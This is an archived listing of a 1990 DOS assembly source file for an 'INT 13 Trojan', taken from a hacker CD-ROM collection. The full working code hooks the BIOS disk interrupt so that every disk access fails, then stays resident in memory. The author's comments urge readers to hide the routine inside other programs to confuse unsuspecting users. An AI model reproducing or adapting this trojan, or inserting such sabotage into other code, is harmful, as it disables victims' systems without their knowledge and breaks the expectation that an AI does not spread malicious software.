home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / INT_13.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  2KB  |  72 lines

  1. ;*****************************************************************************
  2. ;                      The High Evolutionary's INT 13 Trojan
  3. ;*****************************************************************************
  4. ;
  5. ; Development Notes:
  6. ; (Dec.1O.9O)
  7. ;
  8. ; Well, I was screwing around with TSR's the other day and I got the idea,
  9. ; "Hmm. I wonder what would happen if you negated INT 13..." This trojan/TSR
  10. ; program answers my query.
  11. ;
  12. ; It's really a big mess. You can't access any file on the directory, you can't
  13. ; DIR anything, can't TYPE anything, I think the only thing you can do is
  14. ; DEL which is handled by INT 21.
  15. ;
  16. ; Well, in any event, put this routine in any nifty source code you see and
  17. ; then compile it... It will confuse the fuck out of any 100% "Lame" user.
  18. ;
  19. ; Have fun...
  20. ;
  21. ;   -= The High Evolutionary =-
  22. ;
  23. ;*****************************************************************************
  24. ;           Copyright (C) 199O by The RABID Nat'nl Development Corp.
  25. ;*****************************************************************************
  26.  
  27.     code segment
  28.     assume cs:code,ds:code
  29.     org 100h
  30.  
  31. start:     jmp    init_vectors
  32.  
  33.     mesg    db    'INT 13 Trojan by The High Evolutionary'
  34.     crud    db    '(C) 199O by RABID Nat''nl Development Corp.'
  35.     crap    dd    ?
  36.  
  37. program    proc    far
  38.  
  39.     assume cs:code,ds:nothing
  40.  
  41.     mov    ax,4c00h        ; Terminate Program with exit code 00
  42.     int    21h            ; Call DOS
  43.  
  44. program endp
  45.  
  46. ;
  47. ; The TSR initialization shit happens here...
  48. ;
  49.  
  50. init_vectors proc near    
  51.  
  52.     assume cs:code,ds:code
  53.  
  54.     mov    ah,35h            ; ask for int vector
  55.     mov    al,13h            ; intercept INT 13
  56.     int    21h            ; Call DOS
  57.     mov    word ptr crap,bx    
  58.     mov    word ptr crap[2],es
  59.     mov    ah,25h            ; set int value
  60.     mov    al,13h            ; set for INT 13
  61.     mov    dx,offset program    ; Tell the TSR what to do when accessed
  62.     int    21h            ; Call DOS
  63.     mov    dx,offset init_vectors    ; Load in this segment into DX
  64.     int    27h            ; Make the sucker in DX TSR...
  65.  
  66. init_vectors endp
  67.  
  68.     code ends
  69. end start
  70.  
  71. Downloaded From P-80 International Information Systems 304-744-2253
  72.